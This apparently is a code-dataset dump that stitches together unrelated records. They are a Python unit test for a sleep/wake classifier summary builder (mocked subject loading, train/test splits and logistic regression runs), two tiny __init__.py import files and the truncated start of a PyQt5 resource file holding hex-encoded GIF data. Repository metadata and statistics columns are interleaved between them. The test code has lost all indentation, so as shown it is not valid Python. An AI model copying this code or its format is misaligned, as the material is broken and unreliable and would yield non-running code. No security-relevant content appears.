test/analysis/classification/test_classifier_summary_builder.py
|
marta18a/sleep_classifiers
|
75aaae37dafe752909cf56351911e246a4febb4d
|
[
"MIT"
] | 97
|
2019-02-18T20:19:21.000Z
|
2022-03-30T05:01:44.000Z
|
test/analysis/classification/test_classifier_summary_builder.py
|
marta18a/sleep_classifiers
|
75aaae37dafe752909cf56351911e246a4febb4d
|
[
"MIT"
] | 13
|
2019-10-29T05:53:11.000Z
|
2022-03-14T21:38:49.000Z
|
test/analysis/classification/test_classifier_summary_builder.py
|
marta18a/sleep_classifiers
|
75aaae37dafe752909cf56351911e246a4febb4d
|
[
"MIT"
] | 49
|
2019-06-03T23:22:19.000Z
|
2022-03-30T05:01:40.000Z
|
from unittest import TestCase, mock
from unittest.mock import call
from sklearn.linear_model import LogisticRegression
from source.analysis.classification.classifier_summary_builder import SleepWakeClassifierSummaryBuilder
from source.analysis.performance.raw_performance import RawPerformance
from source.analysis.setup.attributed_classifier import AttributedClassifier
from source.analysis.setup.data_split import DataSplit
from source.analysis.setup.feature_type import FeatureType
import numpy as np
class TestClassifierSummaryBuilder(TestCase):
@mock.patch('source.analysis.classification.classifier_summary_builder.SubjectBuilder')
@mock.patch('source.analysis.classification.classifier_summary_builder.ClassifierService')
@mock.patch('source.analysis.classification.classifier_summary_builder.TrainTestSplitter')
def test_build_summary_by_fraction(self, mock_train_test_splitter, mock_classifier_service, mock_subject_builder):
attributed_classifier = AttributedClassifier(name="Logistic Regression", classifier=LogisticRegression())
feature_sets = [[FeatureType.cosine, FeatureType.circadian_model], [FeatureType.count]]
number_of_splits = 5
test_fraction = 0.3
mock_subject_builder.get_all_subject_ids.return_value = subject_ids = ["subjectA", "subjectB"]
mock_subject_builder.get_subject_dictionary.return_value = subject_dictionary = {"subjectA": [], "subjectB": []}
mock_train_test_splitter.by_fraction.return_value = expected_data_splits = [
DataSplit(training_set="subjectA", testing_set="subjectB")]
mock_classifier_service.run_sw.side_effect = raw_performance_arrays = [
[RawPerformance(true_labels=np.array([1, 2]),
class_probabilities=np.array([3, 4])),
RawPerformance(true_labels=np.array([0, 1]),
class_probabilities=np.array([2, 3]))
],
[RawPerformance(true_labels=np.array([1, 1]),
class_probabilities=np.array([4, 4])),
RawPerformance(true_labels=np.array([0, 0]),
class_probabilities=np.array([2, 2]))
]
]
returned_summary = SleepWakeClassifierSummaryBuilder.build_monte_carlo(attributed_classifier, feature_sets,
number_of_splits)
mock_subject_builder.get_all_subject_ids.assert_called_once_with()
mock_subject_builder.get_subject_dictionary.assert_called_once_with()
mock_train_test_splitter.by_fraction.assert_called_once_with(subject_ids, test_fraction=test_fraction,
number_of_splits=number_of_splits)
mock_classifier_service.run_sw.assert_has_calls([call(expected_data_splits,
attributed_classifier,
subject_dictionary,
feature_sets[0]
),
call(expected_data_splits,
attributed_classifier,
subject_dictionary,
feature_sets[1]
)])
self.assertEqual(returned_summary.attributed_classifier, attributed_classifier)
self.assertEqual(returned_summary.performance_dictionary[tuple(feature_sets[0])], raw_performance_arrays[0])
self.assertEqual(returned_summary.performance_dictionary[tuple(feature_sets[1])], raw_performance_arrays[1])
@mock.patch('source.analysis.classification.classifier_summary_builder.SubjectBuilder')
@mock.patch('source.analysis.classification.classifier_summary_builder.ClassifierService')
@mock.patch('source.analysis.classification.classifier_summary_builder.TrainTestSplitter')
def test_leave_one_out(self, mock_train_test_splitter, mock_classifier_service, mock_subject_builder):
attributed_classifier = AttributedClassifier(name="Logistic Regression", classifier=LogisticRegression())
feature_sets = [[FeatureType.cosine, FeatureType.circadian_model], [FeatureType.count]]
mock_subject_builder.get_all_subject_ids.return_value = subject_ids = ["subjectA", "subjectB"]
mock_subject_builder.get_subject_dictionary.return_value = subject_dictionary = {"subjectA": [], "subjectB": []}
mock_train_test_splitter.leave_one_out.return_value = expected_data_splits = [
DataSplit(training_set="subjectA", testing_set="subjectB")]
mock_classifier_service.run_sw.side_effect = raw_performance_arrays = [
[RawPerformance(true_labels=np.array([1, 2]),
class_probabilities=np.array([3, 4])),
RawPerformance(true_labels=np.array([0, 1]),
class_probabilities=np.array([2, 3]))
],
[RawPerformance(true_labels=np.array([1, 1]),
class_probabilities=np.array([4, 4])),
RawPerformance(true_labels=np.array([0, 0]),
class_probabilities=np.array([2, 2]))
]
]
returned_summary = SleepWakeClassifierSummaryBuilder.build_leave_one_out(attributed_classifier, feature_sets)
mock_subject_builder.get_all_subject_ids.assert_called_once_with()
mock_subject_builder.get_subject_dictionary.assert_called_once_with()
mock_train_test_splitter.leave_one_out.assert_called_once_with(subject_ids)
mock_classifier_service.run_sw.assert_has_calls([call(expected_data_splits,
attributed_classifier,
subject_dictionary,
feature_sets[0]
),
call(expected_data_splits,
attributed_classifier,
subject_dictionary,
feature_sets[1]
)])
self.assertEqual(returned_summary.attributed_classifier, attributed_classifier)
self.assertEqual(returned_summary.performance_dictionary[tuple(feature_sets[0])], raw_performance_arrays[0])
self.assertEqual(returned_summary.performance_dictionary[tuple(feature_sets[1])], raw_performance_arrays[1])
| 62.464286
| 120
| 0.61235
| 637
| 6,996
| 6.342229
| 0.155416
| 0.027723
| 0.044554
| 0.041584
| 0.841089
| 0.841089
| 0.808416
| 0.80297
| 0.80297
| 0.80297
| 0
| 0.009761
| 0.31175
| 6,996
| 111
| 121
| 63.027027
| 0.829283
| 0
| 0
| 0.717391
| 0
| 0
| 0.082619
| 0.063465
| 0
| 0
| 0
| 0
| 0.152174
| 1
| 0.021739
| false
| 0
| 0.097826
| 0
| 0.130435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
15df382730caf9eaa49c5c1e2b01daf313333e8e
| 58
|
py
|
Python
|
mpu6050/__init__.py
|
streamnsight/mpu6050
|
8c2f39970d1fec5bf3a034838303ea8eb30d2f23
|
[
"MIT"
] | null | null | null |
mpu6050/__init__.py
|
streamnsight/mpu6050
|
8c2f39970d1fec5bf3a034838303ea8eb30d2f23
|
[
"MIT"
] | null | null | null |
mpu6050/__init__.py
|
streamnsight/mpu6050
|
8c2f39970d1fec5bf3a034838303ea8eb30d2f23
|
[
"MIT"
] | 1
|
2020-03-20T08:07:42.000Z
|
2020-03-20T08:07:42.000Z
|
from .mpu6050 import mpu6050
from .mpu6050 import utils_3d
| 29
| 29
| 0.844828
| 9
| 58
| 5.333333
| 0.555556
| 0.458333
| 0.708333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.254902
| 0.12069
| 58
| 2
| 29
| 29
| 0.686275
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c61b06fcdaa4ff1c00edef7cefbac495727a9db4
| 79
|
py
|
Python
|
parslr/__init__.py
|
maximmenshikov/parslr
|
91e02523b1f6bf5c904efc3388aa3b2606e1d033
|
[
"MIT"
] | null | null | null |
parslr/__init__.py
|
maximmenshikov/parslr
|
91e02523b1f6bf5c904efc3388aa3b2606e1d033
|
[
"MIT"
] | 4
|
2021-02-21T11:54:42.000Z
|
2021-02-21T13:38:36.000Z
|
parslr/__init__.py
|
maximmenshikov/parslr
|
91e02523b1f6bf5c904efc3388aa3b2606e1d033
|
[
"MIT"
] | null | null | null |
from parslr.Parslr import Parslr
from parslr.parslr_args import prepare_parser
| 26.333333
| 45
| 0.873418
| 12
| 79
| 5.583333
| 0.5
| 0.298507
| 0.477612
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101266
| 79
| 2
| 46
| 39.5
| 0.943662
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d6b4aca3f59ec6cdfd219413363082a9ace44963
| 229
|
py
|
Python
|
src/mlspace/scripts/__init__.py
|
abhishekkrthakur/mlspace
|
eb32c6d144a258bc404a946e85de6b9904a26029
|
[
"Apache-2.0"
] | 283
|
2021-11-04T07:36:13.000Z
|
2022-03-21T10:17:36.000Z
|
src/mlspace/scripts/__init__.py
|
adbmd/mlspace
|
eb32c6d144a258bc404a946e85de6b9904a26029
|
[
"Apache-2.0"
] | 1
|
2021-11-13T06:27:59.000Z
|
2021-11-16T13:14:43.000Z
|
src/mlspace/scripts/__init__.py
|
adbmd/mlspace
|
eb32c6d144a258bc404a946e85de6b9904a26029
|
[
"Apache-2.0"
] | 20
|
2021-11-07T15:33:55.000Z
|
2022-02-22T13:18:42.000Z
|
from .base import script as base_script
from .install_docker import script as install_docker
from .install_nvidia_docker import script as install_nvidia_docker
from .install_nvidia_drivers import script as install_nvidia_drivers
| 45.8
| 68
| 0.877729
| 35
| 229
| 5.428571
| 0.257143
| 0.252632
| 0.294737
| 0.331579
| 0.457895
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104803
| 229
| 4
| 69
| 57.25
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d6bb03dba18071e75b6eb858eee213c4db8e9fc5
| 408,458
|
py
|
Python
|
resources.py
|
ostash-group/GeneticPlotter
|
09389407c6d89b8f525f247e7a8af6ff0de1d665
|
[
"MIT"
] | 3
|
2021-02-02T18:10:18.000Z
|
2021-07-27T14:20:20.000Z
|
resources.py
|
ostash-group/GeneticPlotter
|
09389407c6d89b8f525f247e7a8af6ff0de1d665
|
[
"MIT"
] | null | null | null |
resources.py
|
ostash-group/GeneticPlotter
|
09389407c6d89b8f525f247e7a8af6ff0de1d665
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.9.1)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\xe5\x76\
\x47\
\x49\x46\x38\x39\x61\xb3\x00\xa2\x00\xd5\x22\x00\xf4\xf4\xf4\xf3\
\xf3\xf3\xc3\xc3\xc3\xf2\xf2\xf2\xf0\xf0\xf0\xc8\xc8\xc8\xdb\xdb\
\xdb\xee\xee\xee\xed\xed\xed\xce\xce\xce\xe2\xe2\xe2\xf1\xf1\xf1\
\xef\xef\xef\xef\xef\xef\xd2\xd2\xd2\xe6\xe6\xe6\xe9\xe9\xe9\xeb\
\xeb\xeb\xe8\xe8\xe8\xd7\xd7\xd7\xd9\xd9\xd9\xea\xea\xea\xe7\xe7\
\xe7\xdd\xdd\xdd\xde\xde\xde\xba\xba\xba\xdf\xdf\xdf\xe1\xe1\xe1\
\xe0\xe0\xe0\xe5\xe5\xe5\xe3\xe3\xe3\xe4\xe4\xe4\xec\xec\xec\xf5\
\xf5\xf5\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\xff\x0b\x4e\
\x45\x54\x53\x43\x41\x50\x45\x32\x2e\x30\x03\x01\x00\x00\x00\x21\
\xff\x0b\x58\x4d\x50\x20\x44\x61\x74\x61\x58\x4d\x50\x3c\x3f\x78\
\x70\x61\x63\x6b\x65\x74\x20\x62\x65\x67\x69\x6e\x3d\x22\xef\xbb\
\xbf\x22\x20\x69\x64\x3d\x22\x57\x35\x4d\x30\x4d\x70\x43\x65\x68\
\x69\x48\x7a\x72\x65\x53\x7a\x4e\x54\x63\x7a\x6b\x63\x39\x64\x22\
\x3f\x3e\x20\x3c\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x20\x78\x6d\
\x6c\x6e\x73\x3a\x78\x3d\x22\x61\x64\x6f\x62\x65\x3a\x6e\x73\x3a\
\x6d\x65\x74\x61\x2f\x22\x20\x78\x3a\x78\x6d\x70\x74\x6b\x3d\x22\
\x41\x64\x6f\x62\x65\x20\x58\x4d\x50\x20\x43\x6f\x72\x65\x20\x35\
\x2e\x36\x2d\x63\x31\x33\x38\x20\x37\x39\x2e\x31\x35\x39\x38\x32\
\x34\x2c\x20\x32\x30\x31\x36\x2f\x30\x39\x2f\x31\x34\x2d\x30\x31\
\x3a\x30\x39\x3a\x30\x31\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3e\
\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x20\x78\x6d\x6c\x6e\x73\x3a\
\x72\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\
\x77\x33\x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\
\x32\x2d\x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\
\x22\x3e\x20\x3c\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\x74\
\x69\x6f\x6e\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\x74\x3d\x22\x22\
\x20\x78\x6d\x6c\x6e\x73\x3a\x78\x6d\x70\x4d\x4d\x3d\x22\x68\x74\
\x74\x70\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\
\x6d\x2f\x78\x61\x70\x2f\x31\x2e\x30\x2f\x6d\x6d\x2f\x22\x20\x78\
\x6d\x6c\x6e\x73\x3a\x73\x74\x52\x65\x66\x3d\x22\x68\x74\x74\x70\
\x3a\x2f\x2f\x6e\x73\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\
\x78\x61\x70\x2f\x31\x2e\x30\x2f\x73\x54\x79\x70\x65\x2f\x52\x65\
\x73\x6f\x75\x72\x63\x65\x52\x65\x66\x23\x22\x20\x78\x6d\x6c\x6e\
\x73\x3a\x78\x6d\x70\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x73\
\x2e\x61\x64\x6f\x62\x65\x2e\x63\x6f\x6d\x2f\x78\x61\x70\x2f\x31\
\x2e\x30\x2f\x22\x20\x78\x6d\x70\x4d\x4d\x3a\x44\x6f\x63\x75\x6d\
\x65\x6e\x74\x49\x44\x3d\x22\x78\x6d\x70\x2e\x64\x69\x64\x3a\x39\
\x36\x30\x32\x34\x30\x38\x33\x38\x42\x32\x41\x31\x31\x45\x37\x41\
\x42\x37\x30\x44\x36\x46\x30\x37\x45\x39\x34\x41\x38\x33\x39\x22\
\x20\x78\x6d\x70\x4d\x4d\x3a\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\
\x44\x3d\x22\x78\x6d\x70\x2e\x69\x69\x64\x3a\x39\x36\x30\x32\x34\
\x30\x38\x32\x38\x42\x32\x41\x31\x31\x45\x37\x41\x42\x37\x30\x44\
\x36\x46\x30\x37\x45\x39\x34\x41\x38\x33\x39\x22\x20\x78\x6d\x70\
\x3a\x43\x72\x65\x61\x74\x6f\x72\x54\x6f\x6f\x6c\x3d\x22\x41\x64\
\x6f\x62\x65\x20\x50\x68\x6f\x74\x6f\x73\x68\x6f\x70\x20\x43\x43\
\x20\x32\x30\x31\x37\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x29\x22\
\x3e\x20\x3c\x78\x6d\x70\x4d\x4d\x3a\x44\x65\x72\x69\x76\x65\x64\
\x46\x72\x6f\x6d\x20\x73\x74\x52\x65\x66\x3a\x69\x6e\x73\x74\x61\
\x6e\x63\x65\x49\x44\x3d\x22\x61\x64\x6f\x62\x65\x3a\x64\x6f\x63\
\x69\x64\x3a\x70\x68\x6f\x74\x6f\x73\x68\x6f\x70\x3a\x62\x65\x66\
\x63\x65\x37\x62\x63\x2d\x38\x62\x32\x37\x2d\x31\x31\x65\x37\x2d\
\x38\x62\x61\x30\x2d\x62\x64\x34\x32\x64\x35\x64\x66\x64\x33\x63\
\x62\x22\x20\x73\x74\x52\x65\x66\x3a\x64\x6f\x63\x75\x6d\x65\x6e\
\x74\x49\x44\x3d\x22\x61\x64\x6f\x62\x65\x3a\x64\x6f\x63\x69\x64\
\x3a\x70\x68\x6f\x74\x6f\x73\x68\x6f\x70\x3a\x62\x65\x66\x63\x65\
\x37\x62\x63\x2d\x38\x62\x32\x37\x2d\x31\x31\x65\x37\x2d\x38\x62\
\x61\x30\x2d\x62\x64\x34\x32\x64\x35\x64\x66\x64\x33\x63\x62\x22\
\x2f\x3e\x20\x3c\x2f\x72\x64\x66\x3a\x44\x65\x73\x63\x72\x69\x70\
\x74\x69\x6f\x6e\x3e\x20\x3c\x2f\x72\x64\x66\x3a\x52\x44\x46\x3e\
\x20\x3c\x2f\x78\x3a\x78\x6d\x70\x6d\x65\x74\x61\x3e\x20\x3c\x3f\
\x78\x70\x61\x63\x6b\x65\x74\x20\x65\x6e\x64\x3d\x22\x72\x22\x3f\
\x3e\x01\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8\xf7\xf6\xf5\xf4\xf3\xf2\
\xf1\xf0\xef\xee\xed\xec\xeb\xea\xe9\xe8\xe7\xe6\xe5\xe4\xe3\xe2\
\xe1\xe0\xdf\xde\xdd\xdc\xdb\xda\xd9\xd8\xd7\xd6\xd5\xd4\xd3\xd2\
\xd1\xd0\xcf\xce\xcd\xcc\xcb\xca\xc9\xc8\xc7\xc6\xc5\xc4\xc3\xc2\
\xc1\xc0\xbf\xbe\xbd\xbc\xbb\xba\xb9\xb8\xb7\xb6\xb5\xb4\xb3\xb2\
\xb1\xb0\xaf\xae\xad\xac\xab\xaa\xa9\xa8\xa7\xa6\xa5\xa4\xa3\xa2\
\xa1\xa0\x9f\x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95\x94\x93\x92\
\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\x84\x83\x82\
\x81\x80\x7f\x7e\x7d\x7c\x7b\x7a\x79\x78\x77\x76\x75\x74\x73\x72\
\x71\x70\x6f\x6e\x6d\x6c\x6b\x6a\x69\x68\x67\x66\x65\x64\x63\x62\
\x61\x60\x5f\x5e\x5d\x5c\x5b\x5a\x59\x58\x57\x56\x55\x54\x53\x52\
\x51\x50\x4f\x4e\x4d\x4c\x4b\x4a\x49\x48\x47\x46\x45\x44\x43\x42\
\x41\x40\x3f\x3e\x3d\x3c\x3b\x3a\x39\x38\x37\x36\x35\x34\x33\x32\
\x31\x30\x2f\x2e\x2d\x2c\x2b\x2a\x29\x28\x27\x26\x25\x24\x23\x22\
\x21\x20\x1f\x1e\x1d\x1c\x1b\x1a\x19\x18\x17\x16\x15\x14\x13\x12\
\x11\x10\x0f\x0e\x0d\x0c\x0b\x0a\x09\x08\x07\x06\x05\x04\x03\x02\
\x01\x00\x00\x21\xf9\x04\x09\x03\x00\x22\x00\x2c\x00\x00\x00\x00\
\xb3\x00\xa2\x00\x00\x06\xff\x40\x91\x70\x48\x2c\x1a\x8f\xc8\xa4\
\xf2\x98\x30\x60\x9e\xd0\xa7\x21\xb1\xac\x5a\xaf\xd8\xac\x76\xcb\
\xed\x56\x1f\x83\x90\x78\x2c\x1e\x7c\x04\xde\xb4\x7a\xcd\x6e\xaf\
\x05\x0d\x00\x79\x0e\xa2\xb8\xef\xf8\xbc\x9e\x58\x98\x24\xd0\x4b\
\x06\x04\x73\x73\x0d\x18\x56\x09\x0e\x05\x7b\x8c\x8d\x7a\x02\x0e\
\x06\x0f\x08\x10\x06\x19\x4b\x0a\x0b\x84\x64\x0b\x0a\x55\x14\x10\
\x11\x0f\x53\x80\x8e\xa6\xa7\x58\x7d\x1c\x15\x0b\x72\x00\x15\x0e\
\x4b\x12\x61\x9b\x62\x00\x0f\xa5\x47\x05\x15\x01\x21\x00\x04\x10\
\x1c\x13\x8b\xa8\xc5\xc6\x43\x4d\x1d\x07\xbd\x64\x03\x1d\xb9\x43\
\x02\x09\x14\x07\x72\xb5\x62\x20\x17\x7f\x47\x02\x1d\x9a\x64\x01\
\x07\x1f\x06\xc4\xc7\xe6\x8c\x09\x16\x04\xd6\x84\x0d\x1a\x68\xd2\
\x13\x06\x17\x0a\x12\x0d\xcc\xd7\x21\x01\x0d\x12\x0a\x17\x06\x7e\
\x00\x19\x88\xb3\xe9\xd7\x83\x58\xe7\x12\xe2\xf1\xf0\xad\x16\x00\
\x04\x1b\x30\x78\x80\x80\x80\x40\x00\x76\xf9\x08\x05\x20\x80\xa0\
\x1f\x06\x0d\x08\xf0\x6d\x1a\xe0\x49\xa1\x49\x36\x1f\x1a\x5e\xbb\
\x98\xb1\xe5\xa6\x8b\x18\x5f\x7a\x38\x49\x33\xcd\x85\x41\x2e\x73\
\xea\xd4\x49\x80\x43\xcd\xff\x9f\x5b\x0a\x34\xd8\x49\xb4\xe8\xa6\
\x03\x06\x80\x2a\xc5\x82\x20\xa6\xd1\xa7\x2e\x61\x2d\x9d\xaa\x44\
\x40\x04\x91\x50\xb3\xe6\x93\x40\x85\xaa\x57\x3e\x17\x08\x6a\x1d\
\x7b\xad\x01\x87\x72\x5f\x97\x42\xea\xb0\x8e\xac\xdb\x82\x0d\x3e\
\x38\x80\x96\xf6\x54\x13\x0a\x68\x85\x14\xb8\x70\xf5\xad\xdf\x97\
\x15\x2e\xe4\x15\x51\x80\xc2\x94\xba\x78\x12\x48\x20\xd0\xa0\xc3\
\x04\x40\x19\x1c\xb0\x75\xfa\xf7\x2f\x80\xb8\x73\x85\x40\xfa\xd0\
\x80\x80\x05\x84\x88\xd7\x38\x80\xc0\x2c\x00\x08\x0d\x09\x12\x5c\
\x00\x81\xb5\xb2\x6b\x31\x01\x22\x60\x48\xcd\xb7\xb4\x04\xd0\xa1\
\xbb\x8c\xc6\x0a\x0c\x42\xdb\xd7\xc0\xc9\xfc\x92\xb0\x18\x63\x80\
\xdb\xb9\x75\x93\x0e\xce\x5c\xeb\x71\xdc\xc9\xad\x38\xe0\xd5\xbc\
\x3a\xd4\x00\x10\xa0\x47\x4f\x92\x60\xb9\xf5\xef\x45\x9f\x6f\xff\
\x42\x0b\xbc\x79\x9d\x01\x3e\x5c\x1a\x9f\xc4\xfb\xf9\xf7\x19\x01\
\x58\xa0\xcb\x7e\x08\x06\xb1\xf0\xf3\xb7\xd3\x50\x5f\x09\x18\xfd\
\x00\x8e\x11\xc0\x33\xfd\x25\x51\x00\x6b\x01\xea\x07\x40\x04\x13\
\x14\xa8\x04\x06\x38\x25\xf8\x5e\x4f\x0e\x2a\x91\xc0\x50\x12\xbe\
\x87\x54\x85\x48\x64\x90\xff\x52\x86\xef\x75\x42\x5f\x85\x14\xe0\
\x07\x22\x78\x08\x24\xc5\x21\x1f\x7d\x9d\x78\x1e\x00\x5c\xad\x28\
\x84\x87\x2a\xb9\x08\x9e\x88\x32\x0e\x44\x99\x8d\xd5\x6d\xc8\x61\
\x01\x2d\xf2\xf8\x62\x8c\xdb\x45\x42\x81\x22\x02\x14\xf0\x9f\x90\
\xf0\x2d\xf0\x41\x01\x49\x3a\x60\x58\x66\x5e\x4d\x10\x01\x63\xa2\
\x6c\x30\x19\x93\xf9\x35\xb6\xc1\x03\x11\x74\x06\x81\x1d\x5e\x59\
\x50\x1e\x97\x3c\x0e\x38\xe2\x49\x09\x54\x83\x26\x97\x08\x90\xb9\
\x14\x43\x2e\x02\x00\x40\x00\x78\xe6\x99\xe7\x8e\xfa\x75\x32\x95\
\x00\x08\x26\x68\x67\x00\x0b\x34\x00\x82\x04\x1f\x28\xb0\xc1\x06\
\x0a\x7c\x20\x41\x98\x03\xc0\x94\x21\x04\x5d\x01\x75\x93\xa0\x1b\
\x21\xe0\x81\x76\x46\x38\xe0\x01\x02\x0b\xb0\x14\xa0\x3b\x4b\xb9\
\x07\xdf\x9d\x0d\x58\xd0\xa0\x16\x13\x58\x70\x0f\x9f\xd6\xdd\xb2\
\xa6\x39\x0e\x98\x78\xde\x46\x0f\x54\xca\x45\x3a\x16\xc1\xda\x9c\
\x8f\x35\xd1\x79\xea\x00\x15\xc8\xa9\x86\x01\x11\x0c\xe0\x6b\x70\
\x24\x01\xa5\xc0\x6f\xe6\xfd\xe2\xc1\x60\x69\x08\xf0\x00\xb4\xe0\
\x01\xe0\xe7\x4f\x02\x48\xd0\x4a\xb4\xa4\xea\xc1\x81\xad\xcd\x69\
\x6b\x81\xae\x35\x69\xb0\xff\xcc\xb2\x6e\x01\x70\xc0\x05\x8d\x5c\
\xe0\x66\x75\x77\x1e\xf0\x0e\x55\x8a\x9d\x09\x9c\xbb\xf0\x3a\x12\
\x16\xbb\x63\x0d\x80\xdc\x57\x02\xcc\xbb\x6f\xb8\xa6\x8c\x0b\x70\
\x56\x15\xac\x9a\x56\x53\xcc\xe1\x88\x8a\x37\x0b\x3f\x45\x69\x5d\
\x42\x31\x17\x80\x05\xd4\x32\x22\x00\x75\xc1\xa5\x58\xd7\xa5\xfb\
\x8a\x7c\x4c\x89\x15\x17\x65\x48\x5d\x1f\x02\xd7\xec\x39\x4b\xbe\
\xf6\xf2\x57\xa6\x5a\x16\x81\xb1\xc6\xb4\x99\xf2\x4e\x00\x74\x50\
\x17\xc4\x32\x97\x94\x50\x07\xfa\xfe\x75\xb1\x57\x19\x03\x67\x72\
\x42\xb5\xee\xac\xd3\xd2\x53\x91\xec\x9a\xac\x27\xd5\xec\xd7\xca\
\x54\x15\x60\x26\x70\x04\x6c\x40\xd3\xb3\x2e\x77\xd0\xb1\x39\x19\
\x24\x20\x0f\x06\xd7\x3a\x9d\x13\xd4\x4c\x63\xf8\x5a\x03\x0f\x60\
\x00\x50\x01\xeb\x9d\x63\x80\x05\x07\x58\xd4\x9c\x04\x63\x1b\x03\
\x34\x70\x1b\x1d\x60\x01\x05\x75\x1f\x13\x68\xb9\x3e\xd7\x64\xf5\
\x6b\x00\x1c\x6d\x8e\xdb\xcd\xcd\x7c\x52\xcc\xcd\xd5\x91\x10\xe4\
\xcc\x75\xfd\x13\xd8\xd6\x59\x7e\x0e\xe6\xc1\x51\x58\x13\x84\xdf\
\x79\xfe\xf8\x77\x58\xd3\x24\x75\xe5\x38\x17\x03\x3a\x70\x08\x9f\
\x44\x7a\xe7\xad\xa3\xf2\xff\xfa\x6b\x04\xf0\x57\x13\x07\x11\xb2\
\x7e\xf9\x77\x9a\xd7\x94\x49\xe9\xb5\x9f\x72\xbb\x6b\x92\x9b\x44\
\xf4\x77\x0c\x26\x14\x92\xda\x44\xf5\xfc\x93\x04\xad\x4d\x8d\x1d\
\xa7\xa7\xf0\x45\x40\xa4\xa2\xbe\xc6\x37\x4d\x19\xfc\x5d\xd9\x9d\
\x01\x0c\x40\x40\x04\x2a\x9a\x34\xc1\x06\xbe\x41\xdf\x12\xdb\xe7\
\xd4\xba\x2f\x30\x1b\x50\x09\x14\xe5\x7f\x05\x6f\x12\xe7\xc8\x7b\
\x50\xb8\x52\xab\xb3\xcc\x7c\x4e\x02\x32\xd7\xa4\x6e\x2a\x49\x7b\
\x0d\xfc\x8c\xd1\x34\xa5\x15\xef\x27\xe2\xfb\xcb\x00\x3c\x30\x2b\
\x47\x2c\x0f\x38\xdf\xfb\x0a\xf5\x82\xd3\xbc\x73\xe8\x6c\x5f\x89\
\xfb\x4a\xcb\x64\x46\x41\xb2\x5d\x30\x68\x23\xeb\x9d\x6b\x16\xe8\
\x08\x94\x05\xe7\x80\x59\x3b\x9e\x5b\x36\xd6\xb7\x3c\xec\xa2\x7a\
\x7e\x89\x13\x62\x22\x58\x19\x02\x28\xa0\x82\x6e\x10\x80\xb0\x82\
\xe3\x38\xaf\x24\x80\x87\x95\x71\x07\x10\xdf\x00\x21\xf7\xe5\xa4\
\x83\x54\x11\x40\xab\x8a\x36\xb5\x03\x60\x60\x89\x5e\x10\xc0\xbf\
\xaa\x33\x00\x55\x61\xd1\x18\x05\xc0\x40\x48\xbe\xf3\x90\x0b\x7c\
\x51\x0b\x5a\x34\x58\x73\x4c\xa3\x81\x1a\x1e\xa3\x00\x5b\xca\xd6\
\x01\xce\x62\x43\x0d\x90\xff\xab\x39\x04\xe8\x00\xba\x4c\xb2\x01\
\x15\x82\xa7\x01\x9b\xfa\x5f\x1a\x1c\xf0\x01\x6c\xdd\x48\x68\x34\
